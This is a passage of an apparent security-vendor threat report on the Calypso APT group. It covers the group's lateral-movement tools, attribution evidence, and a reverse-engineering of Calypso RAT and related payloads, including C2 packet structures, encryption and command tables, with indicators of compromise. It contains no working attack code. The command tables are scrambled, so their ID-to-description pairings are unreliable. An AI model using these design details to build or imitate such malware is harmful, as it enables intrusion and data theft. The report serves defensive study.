vulnerability MS17-010 or by using +stolen credentials. In one instance, 13 days after the attackers got inside the network, they used +DCSync and Mimikatz to obtain the Kerberos ticket of the domain administrator, "passing the +ticket" to infect more computers. +Figure 3. Obtaining account data via DCSync +Use of such utilities is common for many APT groups. Most of those utilities are legitimate ones +used by network administrators. This allows the attackers to stay undetected longer. +Attribution +In one attack, the group used Calypso RAT, PlugX, and the Byeby trojan. Calypso RAT is malware +unique to the group and will be analyzed in detail in the text that follows. +PlugX has traditionally been used by many APT groups of Asian origin. Use of PlugX in itself does +not point to any particular group, but is overall consistent with an Asian origin. +The Byeby trojan1 was used in the SongXY malware campaign back in 2017. The version used now +is modified from the original. The group involved in the original campaign is also of Asian origin. +It performed targeted attacks on defense and government-related targets in Russia and the CIS +countries. However, we did not find any clear-cut connection between the two campaigns. +When we analyzed the traffic between the attackers' server and the web shell, we found that the +attackers used a non-anonymous proxy server. The X-Forwarded-For header passed the attackers' +IP address (36.44.74.47). This address would seem to be genuine (more precisely, the first address +in a chain of proxy servers). +unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ +Figure 4. Headers of requests to the web shell +The IP address belongs to China Telecom. We believe the attackers could have been careless and +set up the proxy server incorrectly, thus disclosing their real IP address. This is the first piece of +evidence supporting the Asian origins of the group. +Figure 5. Information on the discovered IP address +The attackers also left behind a number of system artifacts, plus traces in utility configurations +and auxiliary scripts. These are also indicative of the group's origin. +For instance, one of the DoublePulsar configuration files contained external IP address +103.224.82.47, presumably for testing. But all other configuration files contained internal +addresses. +Figure 6. IP address found in the DoublePulsar configuration +This IP address belongs to a Chinese provider, like the one before, and it was most likely left +there due to the attackers' carelessness. This constitutes additional evidence of the group's Asian +origins. +Figure 7. Information on the discovered IP address +We also found BAT scripts that launched ZXPortMap and EarthWorm for port forwarding. Inside +we found network indicators www.sultris.com and 46.105.227.110. +Figure 8. Network indicators found in the BAT scripts +The domain in question was used for more than just tunneling: it also served as C2 server for the +PlugX malware we found on the compromised system. As already mentioned, PlugX is traditionally used by groups of Asian origin, which constitutes yet more evidence. +Therefore we can say that the malware and network infrastructure used all point to the group +having an Asian origin. +Analyzing Calypso RAT malicious code +The structure of the malware and the process of installing it on the hosts of a compromised network look as follows: +Figure 9. Malware structure and installation process +Dropper +The dropper extracts the payload as an installation BAT script and CAB archive, and saves it to +disk. The payload inside the dropper has a magic header that the dropper searches for. The following figure shows an example of the payload structure. +Figure 10. Structure of the payload hard-coded in the dropper +The dropper encrypts and decrypts data with a self-developed algorithm that uses CRC32 as +a pseudorandom number generator (PRNG). The algorithm performs arithmetic (addition and +subtraction) between the generated data and the data that needs to be encrypted or decrypted. +Figure 11. Dropper with original encryption and decryption algorithm +Now decrypted, the payload is saved to disk at %ALLUSERSPROFILE;\TMP_%d%d, where the +last two numbers are replaced by random numbers returned by the rand() function. Depending +on the configuration, the CAB archive contains one of three possibilities: a DLL and encrypted +shellcode, a DLL with encoded loader in the resources, or an EXE file. We were unable to detect +any instances of the last variant. +Installation BAT script +The BAT script is encoded by substitution from a preset dictionary of characters; this dictionary +is initialized in a variable in the installation script. +Figure 12. Example of installation script obfuscation +In the decoded script, we can see comments hinting at the main functions of the script: +REM Goto temp directory & extract file (go to TEMP directory and extract files there) +REM Uninstall old version (uninstall the old version) +REM Copy file (copy file) +REM Run pre-install script (run the installation BAT script) +REM Create service (create a service launching the malware at system startup) +REM Create Registry Run (create value in the registry branch for autostart) +At the beginning of each script we can see a set of variables. The script uses these variables to +save files, modify services, and modify registry keys. +Figure 13. Initializing variables in deobfuscated script +In one of the oldest samples, compiled in 2016, we found a script containing comments for how +to configure each variable. +Figure 14. Early version of the script with comments +Shellcode x86: stager +In most of the analyzed samples, the dropper was configured to execute shellcode. The dropper +saved the DLL and encrypted shellcode to disk. The shellcode name was always identical to that +of the DLL, but had the extension .dll.crt. The shellcode is encrypted with the same algorithm as +the payload in the dropper. The shellcode acts as a stager providing the interface for communicating with C2 and for downloading modules. It can communicate with C2 via TCP and SSL. SSL +is implemented via the mbed_tls library. +Initial analysis of the shellcode revealed that, in addition to dynamically searching for API functions, it runs one more operation that repeats the process of PE file address relocation. The +structure of the relocation table is also identical to that found in the PE file. +Figure 15. Shellcode relocations +Since the process of shellcode address relocation repeats that of the PE file, we can assume +that initially the malware is compiled into a PE file, and then the builder turns it into shellcode. +Debugging information found inside the shellcode supports that assumption. +Figure 16. Debugging information inside the shellcode +API functions are searched for dynamically and addresses are relocated, after which the configuration hard-coded inside the shellcode is parsed. The configuration contains information about +the C2 server address, protocol used, and connection type. +Figure 17. Example of shellcode configuration +Next the shellcode creates a connection to C2. A random packet header is created and sent to C2. +In response the malware receives a network key, saves it, and then uses it every time when communicating with C2. Then the information about the infected computer is collected and sent to C2. +Next three threads are launched. One is a heartbeat sending an empty packet to C2 every 54 +seconds. The other processes and executes commands from C2. As for the third thread, we could +not figure out its purpose, because the lines implementing its functionality were removed from the +code. All we can tell is that this thread was supposed to "wake up" every 54 seconds, just like the +first one. +Modules +We have not found any modules so far. But we can understand their functionality by analyzing +the code responsible for communication between the shellcode and the modules. Each module +is shellcode which is given control over the zero offset of the address. Each module exists in its +own separate container. The container is a process with loaded module inside. By default, the +process is svchost.exe. When a container is created, it is injected with a small shellcode that causes endless sleep. This is also hard-coded in the main shellcode, and more specifically in JustWait. +pdb, most likely. +The module is placed inside with an ordinary writeprocess and is launched either with +NtCreateThreadEx or, on pre-Vista operating systems, CreateRemoteThread. +Two pipes are created for each module. One is for transmitting the data from the module to C2; +the other for receiving data from C2. Quite likely the modules do not have their own network +code and instead use the pipes to communicate with external C2 through the main shellcode. +Figure 18. Creating pipes for modules +Each module has a unique ID assigned by C2. Containers are launched in different ways. A container can be launched in a specific session open in the OS or in the same session as the stager. +In any particular session, the container is launched by getting the handle for the session token of +a logged-in user, and then launching the process as that user. +Figure 19. Creating container process in a different session +Commands +The malware we studied can process 12 commands. All of them involve modules in one way or +another. Here is a list of all IDs of commands found in the malware, along with those that the malware itself sends in various situations. +Direction +Type +Description +Create module descriptor. This command contains +information on the module size and ID. It also allo- +0x401 +From +Command +cates memory for the module data. The command +is likely the first in the chain of commands used for +loading a module +Accept module data, and if all data is accepted, +0x402 +From +Command +launch the module inside a container running in the +same session as the stager +0x403 +From +Command +0x404 +From C2 +Command +0x405 +From +Command +Same as 0x402, but the module is launched in a +container running in a different session +Write data to pipe for module launched inside a container running in the same session as the stager +Write data to pipe for module launched inside a +container in a different session +Generate a constant by calling GetTickCount() and +0x409 +From +Command +save it. This constant is used in the third thread, +mentioned already, whose purpose we were unable +to discern +Launch the module if the buffer size stored in the +module descriptor equals the module size. Does not +From +Command +accept data (unlike commands 0 +402 and 0 +403). +The module is launched inside a container running in +the same session as the stager +From +Command +Same as 0x201, but the module is launched in a container running in a different session +Close all pipes related to a specific module running +From +Command +inside a container launched in the same session as +the stager +From +Command +0x206 +From +Command +Same as 0x203, but for a module running in a container launched in a different session +Collect information on sessions open in the system +(such as session IDs and computer names) and send +it to C2 +0x409 +0x103 +0x302 +0x406 +0x407 +0x308 +From +From the +malware +From the +malware +From the +malware +From the +malware +From the +malware +From the +malware +From the +malware +From the +malware +Command +Response +Response +Response +Assign session ID. This ID will be used to launch containers in this session +ID used in empty heartbeat packets (the first thread +described earlier) +ID of packet containing information on the infected +computer +ID of packet sent after an accepted session ID is +saved (command 0x207) +ID of packet sent after module is successfully placed +Response +inside a container. This code is sent after the module +is launched in a different session +Response +Response +Response +Response +Same as 0x304, but the module is launched in the +same session as the stager +ID of packet containing data piped by module in a +container launched in the same session as the stager +Similar to 0x406, but from a module launched in a +different session +ID of packet sent if no handle of a logged-in user's +session token could be obtained +ID of packet sent if session-related information +could not be obtained. Before the packet is sent, the +0x408 +From the +malware +shellcode checks the OS version. If the version is +Response +earlier than Vista, data is regarded as impossible to +obtain in the manner implemented in the malware, +because the Windows API functions it uses are present only in Vista and later. +Network code +Network communication is initialized after the network key is received from C2. To do that, the +malware sends a random sequence of 12 bytes to C2. In response the malware also expects 12 +bytes, the zero offset of which must contain the same value (_DWORD) as prior to sending. If the +check is successful, four bytes at offset 8 are taken from the response and decrypted with RC4. +The key is four bytes sent previously, also located at offset 8. This result is the network key. The +key is saved and then used to send data. +All transmitted packets have the following structure. +struct Packet{ +struct PacketHeader{ +_ DWORD key; +_ WORD cmdId; +_ WORD szPacketPayload; +_ DWORD moduleId; +_ BYTE [max 0xF000] packetPayload; +A random four-byte key is generated for each packet. It is later used to encrypt part of the header, +starting with the cmdld field. The same key is used to encrypt the packet payload. Encryption +uses the RC4 algorithm. The key itself is encrypted by XOR with the network key and saved to the +corresponding field of the packet header. +Shellcode x64: stager (base backdoor) +This shellcode is very similar to the previous one, but it deserves a separate description because +of differences in its network code and method of launching modules. This shellcode has basic +functions for file system interaction which are not available in the shellcode described earlier. +Also the configuration format, network code, and network addresses used as C2 by this shellcode +are similar to code from a 2018 blog post by NCC Group about a Gh0st RAT variant. However, we +did not find a connection to Gh0st RAT. +This variant of the shellcode has only one communication channel, via SSL. The shellcode implements it with two legitimate libraries, libeay32.dll and ssleay32.dll, hard-coded in the shellcode +itself. +First the shellcode performs a dynamic search for API functions and loads SSL libraries. The +libraries are not saved to disk; they are read from the shellcode and mapped into memory. Next +the malware searches the mapped image for the functions it needs to operate. +Then it parses the configuration string, which is also hard-coded in the shellcode. The configuration includes information on addresses of C2 servers and schedule for malware operation. +Days of the week +Figure 20. Sample of configuration string +nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/ +decoding-network-data-from-a-gh0st-rat-variant/ +After that the malware starts its main operating cycle. It checks if the current time matches the +malware operational time. If not, the malware sleeps for about 7 minutes and checks again. This +happens until the current time is the operational time, and only then does the malware resume +operation. Figure 20 demonstrates an example in which the malware remains active at all times +on all days of the week. +When the operational time comes, the malware goes down the list of C2 servers specified in the +configuration and tries to connect. The malware subsequently interacts with whichever of the C2 +servers it is able to successfully connect to first. +Then the malware sends the information on the infected computer (such as computer name, +current date, OS version, 32-bit vs. 64-bit OS and CPU, and IP addresses on network interfaces +and their MAC addresses). After the information on the infected computer is sent, the malware +expects a response from C2. If C2 returns the relevant code, sending is deemed successful and +the malware proceeds. If not, the malware goes back to sequentially checking C2 addresses. Next +it starts processing incoming commands from C2. +Modules +Each module is a valid MZPE file mapped in the address space of the same process as the shellcode. Also the module can export the GetClassObject symbol, which receives control when run +(if required). +Each module has its own descriptor created by a command from C2. The C2 server sends a byte +array (0x15) describing the module. The array contains information on the module: whether the +module needs to be launched via export, module type (in other words, whether it needs pipes +for communicating with C2), module size, entry point RVA (used if there is no flag for launching +via export), and module data decryption key. The key is, by and large, the data used to format +the actual key. +Figure 21. Module decryption +We should also point out that decryption takes place only if modKey is not equal to the 7AC9h +constant hard-coded in the shellcode. This check affects only the decryption process. If modKey +does equal the constant, the malware will immediately start loading the module. This means the +module is not encrypted. +Each module is launched in a separate thread created specially for that purpose. Launching with +pipes looks as follows: +The malware creates a thread for the module, starts mapping the module, and gives it control inside the newly created thread. +The malware creates a new connection to the current working C2. +The malware creates a pipe with the name derived from the following format string: \\.\ +pipe\windows@#%02XMon (%02X is replaced by a value that is received from +2 at the same +time as the command for launching the module). +The malware launches two threads passing data from the pipe to C2 and vice versa, +using the connection created during the previous step. Two more pipes, \\.\pipe\windows@#%02Xfir and \\.\pipe\windows@#%02Xsec, are created inside the threads. The pipe +ending in "fir" is used to pass data from the module to C2. The pipe ending in "sec" is used +to pass data and commands from C2 to the modules. +The second thread processing the commands from C2 to the modules has its own handler. This +is described in more details in the Commands section. For now we can only say that one of the +commands can start a local asynchronous TCP server. That server will accept data from whoever +connects to it, send it to C2, and forward it back from C2. It binds to 127.0.0.1 at whichever port it +finds available, starting from 5000 and trying possible ports one by one. +Commands +The following is a list of IDs for commands the malware can receive, along with commands the +malware itself sends in various situations. +Direction +Type +Description +0x294C +From +Command +Create module descriptor +0x2AC8 +From +Command +Receive data containing the module, and save it +0x230E +From +Command +Launch module without creating additional pipes +0x2D06 +From +Command +Destroy module descriptor object +0x590A +From +Command +Launch built-in module for file system access +0x3099 +From +Command +Launch module and create additional pipes for +communication +Self-removal: run a BAT script removing persistence +0x1C1C +From +Command +0x55C3 +From +Command +Upload file from computer to C2 +0x55C5 +From +Command +List directories recursively +and clearing the created directories +0x55C7 +From +Command +Download file from C2 to computer +0x3167 +From +Command +Write data to pipe ending in "Mon" +0x38AF +From +Command +After that, end the open connection for the module. +Write command 0x38AF to pipe ending in "Mon". +Possibly means "complete module operation" +0x3716 +From +Command +Send module data to a different module +0x3A0B +From +Command +Same as 0x3099 +0x3CD0 +From +Command +From the +Response +0x129E +malware +Start an asynchronous TCP server to shuttle data +between C2 and connected client +ID of a packet containing information about the +computer +ID of the packet sent by C2 in response to +0x132A +From +Response +information sent regarding the infected computer. +The malware treats receipt of this packet as +confirming successful receipt of such information +ID of the packet containing information regarding +0x155B +From the +malware +Response +the initialized module descriptors. The packet acts +as "GetCommand". Response to this packet contains +one of the supported commands +0x2873 +0x2D06 +0x2873 +0x2743 +From the +malware +From the +malware +From the +malware +From the +malware +Response +Response +ID of the packet that is sent if a module descriptor +has been initialized successfully (0x294c) +ID of the packet that is sent if an error has occurred +during module descriptor initialization (0x294c) +the packet that is sent after module data has been +Response +received (0x2AC8). Contains the amount of bytes +already saved +Response +ID of the packet that is sent after a module is +launched without pipes (0x230E) +0x2D06 +0x3F15 +0x32E0 +0x34A7 +0x9F37 +From the +malware +From the +malware +From the +malware +From the +malware +From the +malware +Response +Response +ID of the packet that is sent after a module +descriptor has been destroyed (0x2D06) +ID of the packet that is sent after a module is +launched with pipes +ID of the packet that is sent if there has been an +Response +attempt to reinitialize the pipes already created for +a module +Response +Response +ID of the packet containing the data sent from the +pipe to C2 +ID of the packet containing the data forwarded from +the TCP server to C2 +Network code +Each packet has the following structure: +Struct Packet{ +Struct Header{ +_ DWORD rand _ k1; +_ DWORD rand _ k2; +_ DWORD rand _ k3; +_ DWORD szPaylaod; +_ DWORD protoConst; +_ DWORD packetId; +_ DWORD unk1; +_ DWORD packetKey; +_ BYTE [max 0x2000] packetPayload; +Each packet has a unique key calculated as szPayload + GetTickCount() % hardcodedConst. This +key is saved in the corresponding packetKey header field. It is used to generate another key for +encrypting the packet header with RC4 (encryption will not occur without the packetKey field). +RC4 key generation is demonstrated in the following figure. +Figure 22. Generating RC4 key for the header +Then yet another RC4 key is generated from the encrypted fields szPayload, packetId, protoConst, and rand_k3. This key is used to encrypt the packet payload. +Figure 23. Generating RC4 key for the packet payload +Next the shellcode forms the HTTP headers and the created packet is sent to C2. In addition, +each packet gets its own number, indicated in the URL. Modules may pass their ID, which is used +to look up the connection established during module launch. Module ID 0 is reserved for the main +connection of the stager. +Figure 24. Forming HTTP headers +Other options +As we noted, the dropper may be configured to launch not just shellcode, but executable files +too. We found the same dropper-stager but with different payloads: Hussar and FlyingDutchman. +Dropper-stager +The main tasks of this dropper are unpacking and mapping the payload, which is encoded and +stored in resources. The dropper also stores encoded configuration data and passes it as a +parameter to the payload. +Figure 25. Unpacking the payload +Hussar +In essence Hussar is similar to the shellcodes described earlier. It allows loading modules and +collecting basic information about the computer. It can also add itself to the list of authorized +applications in Windows Firewall. +Initialization +To start, the malware parses the configuration provided to it by the loader. +Figure 26. Configuration sample +Configuration structure is as follows: +Struct RawConfig{ +_ DWORD protocolId; +_ BYTE c2Strings [0x100]; +The protocolId field indicates the protocol to be used for communicating with C2. There are a +total of three possibilities: +If protocolId equals 1, a TCP-based protocol will be used. +If protocolId equals 2, the protocol will be HTTP-based. +If protocolId equals 3, it will be HTTPS-based. +The time stamp is calculated from the registry from the key SOFTWARE\Microsoft\Windows\ +CurrentVersion\Telephony (Perf0 value). If reading the time stamp is impossible, "temp" is added +to the computer identifier. +Figure 27. Generating computer ID +Next Hussar creates a window it will use for processing incoming messages. +Figure 28. Creating dispatcher window +Then the malware adds itself to the list of authorized applications in Windows Firewall, using the +INetFwMgr COM interface. +To complete initialization, Hussar creates a thread which connects to C2 and periodically polls +for commands. The function running in the thread uses the WSAAsyncSelect API to notify the +window that actions can be performed with the created connection (socket is "ready for reading," +"connected," or "closed"). +Figure 29. Communication between the open socket and the window +In general, for transmitting commands, the malware uses the window and Windows messaging +mechanism. The window handle is passed to the modules, and the dispatcher has branches not +used by the stager, so we can assume that the modules can use the window for communication +with C2. +Modules +Each module is an MZPE file loaded into the same address space as the stager. The module must +export the GetModuleInfo function, which is called by the stager after image mapping. +Identifier +Direction +Type +Description +Collect information on the infected computer (such as OS version, user name, computer +0x835 +From +Command +name, and string containing current time and +processor name based on registry data, plus +whether the OS is 64-bit) +0x9CA4 +From +Command +Load module. Module data comes from C2 +Command +Transmit data from LPARAM to C2 +Command +Command +0xC358 +(Window MSG +Code) +0xC359 +(Window MSG +Code) +Transmit C2 configuration to the module. +Module ID is transmitted to LPARAM +0x834, +0x835, 0x838, +0x9CA4, none +Transmit the received packet to the module. +Module ID is sent from C2 +of these +FlyingDutchman +The payload provides remote access to the infected computer. It includes functions such as +screenshot capture, remote shell, and file system operations. It also allows managing system +processes and services. It consists of several modules. +Module ID +CMD ID +Direction +Type +Description +0xafc8 +0xAFD3 +From +Command +Module ping +Sends information about the infected computer (such as OS version and installed service +0xAFD4 +From +Command +packs, processor name, string containing current time and screen resolution, and information about free and used disk space) +0xAFD5 +From +Command +Sends list of processes running on the system +0xAFD7 +From +Command +0xAFD9 +From +Command +0xAFDA +From +Command +0xAFDB +From +Command +Maximize window +0xAFDC +From +Command +Minimize window +0xAFDD +From +Command +Show window +0xAFDE +From +Command +Hide window +End process. Process PID is transmitted from +Sends list of current windows on the system, +along with their titles +Send WM_CLOSE message to a specific +window +0xAFE0 +From +Command +Sends list of current services on the system +Modifies the status of an existing service. +Service name is obtained from C2. It can +0xAFE1 +From +Command +launch a service or change its status to STOP, +PAUSE, or CONTINUE. C2 indicates which +status to change to +0xabe0 +0xAFE2 +From +Command +0xAFE3 +From +Command +0xABEB +From +Command +Delete existing service. Service name is received from C2 +Change service start type. Service name is +received from C2 +Module ping +Launch the process for transmitting screen0xABEC +From +Command +shots from the infected computer. Screenshots +are taken every second +0xABED +From +Command +0xABF1 +From +Command +0xA803 +From +Command +Pause screenshot capture process +Stop taking screenshots. The module stops +running +Run cmd.exe plus a thread, which will read +0xa7f8 +console output data from the related pipe and +send it to C2 +0xa410 +0xA804 +From +Command +0xA805 +From +Command +0xA41B +From +Command +Write command to the pipe linked to STDIN of +the cmd.exe created previously +Stop the cmd.exe process and all associated +pipes. The module stops running +Sends information about system disks and their +types +Sends directory listing. The relevant directory +0xA41C +From +Command +0xA41E +From +Command +Upload file from the computer to C2 +0xA41F +From +Command +Run file +0xA420 +From +Command +Delete file +0xA421 +From +Command +Download file from C2 +0xA424 +From +Command +Move file +0xA425 +From +Command +Create directory +0xA426 +From +Command +File Touch +0xA428 +From +Command +path is obtained via C2 +Sends the size of a file to C2. File path is +passed via C2 +Conclusion +The group has several successful hacks to its credit, but still makes mistakes allowing us to guess +its origins. All data given here suggests that the group originates from Asia and uses malware not +previously described by anyone. The Byeby trojan links the group to SongXY, encountered by us +previously, which was most active in 2017. +We keep monitoring the activities of Calypso closely and expect the group will attack again. +Indicators of compromise +Network +23.227.207.137 +45.63.96.120 +45.63.114.127 +r01.etheraval.com +tc.streleases.com +tv.teldcomtv.com +krgod.qqm8.com +File indicators +Droppers and payload +C9C39045FA14E94618DD631044053824 +Dropper +E24A62D9826869BC4817366800A8805C +F0F5DA1A4490326AA0FC8B54C2D3912D +Shellcode +CB914FC73C67B325F948DD1BF97F5733 +Dropper +6347E42F49A86AFF2DEA7C8BF455A52A +0171E3C76345FEE31B90C44570C75BAD +Shellcode +17E05041730DCD0732E5B296DB16D757 +Dropper +69322703B8EF9D490A20033684C28493 +22953384F3D15625D36583C524F3480A +Shellcode +1E765FED294A7AD082169819C95D2C85 +Dropper +C84DF4B2CD0D3E7729210F15112DA7AC +ACAAB4AA4E1EA7CE2F5D044F198F0095 +Shellcode +Droppers with the same payload +85CE60B365EDF4BEEBBDD85CC971E84D +dropper +1ED72C14C4AAB3B66E830E16EF90B37B +dropper +CB914FC73C67B325F948DD1BF97F5733 +dropper +Payload without dropper +E3E61F30F8A39CD7AA25149D0F8AF5EF +974298EB7E2ADFA019CAE4D1A927AB07 +Shellcode +AA1CF5791A60D56F7AE6DA9BB1E7F01E +05F472A9D926F4C8A0A372E1A7193998 +Shellcode +0D532484193B8B098D7EB14319CEFCD3 +E1A578A069B1910A25C95E2D9450C710 +Shellcode +2807236C2D905A0675878E530ED8B1F8 +847B5A145330229CE149788F5E221805 +Shellcode +D1A1166BEC950C75B65FDC7361DCDC63 +CCE8C8EE42FEAED68E9623185C3F7FE4 +Shellcode +Hussar +43B7D48D4B2AFD7CF8D4BD0804D62E8B +617D588ECCD942F243FFA8CB13679D9C +FlyingDutchman +5199EF9D086C97732D97EDDEF56591EC +06C1D7BF234CE99BB14639C194B3B318 +MITRE ATT&CK +Tactic +Name +Execution +T1059 +Command-Line Interface +Persistence +T1060 +Registry Run Keys / Startup Folder +T1053 +Scheduled Task +T1158 +Hidden Files and Directories +T1027 +Obfuscated Files or Information +T1085 +Rundll32 +T1064 +Scripting +Credential Access +T1003 +Credential Dumping +Discovery +T1087 +Account Discovery +T1046 +Network Service Scanning +T1135 +Network Share Discovery +T1082 +System Information Discovery +Lateral Movement +T1097 +Pass the Ticket +Collection +T1114 +Email Collection +T1113 +Screen Capture +T1005 +Data from Local System +T1043 +Commonly Used Port +T1024 +Custom Cryptographic Protocol +T1001 +Data Obfuscation +Defense Evasion +Command And Control +About +Positive Technologies +Positive Technologies is a leading global provider of enterprise security solutions for vulnerability and compliance management, incident and threat analysis, and application protection. Commitment to clients and research has earned Positive Technologies a reputation as one of the foremost authorities on Industrial Control System, Banking, Telecom, Web Application, and +ERP security, supported by recognition from the analyst community. Learn more about Positive Technologies at ptsecurity.com. +ptsecurity.com +info@ptsecurity.com + 2019 Positive Technologies. Positive Technologies and the Positive Technologies logo are trademarks or registered trademarks of Positive Technologies. All other trademarks mentioned herein are the property of their respective owners. +Calypso APT_A4.ENG.0002.02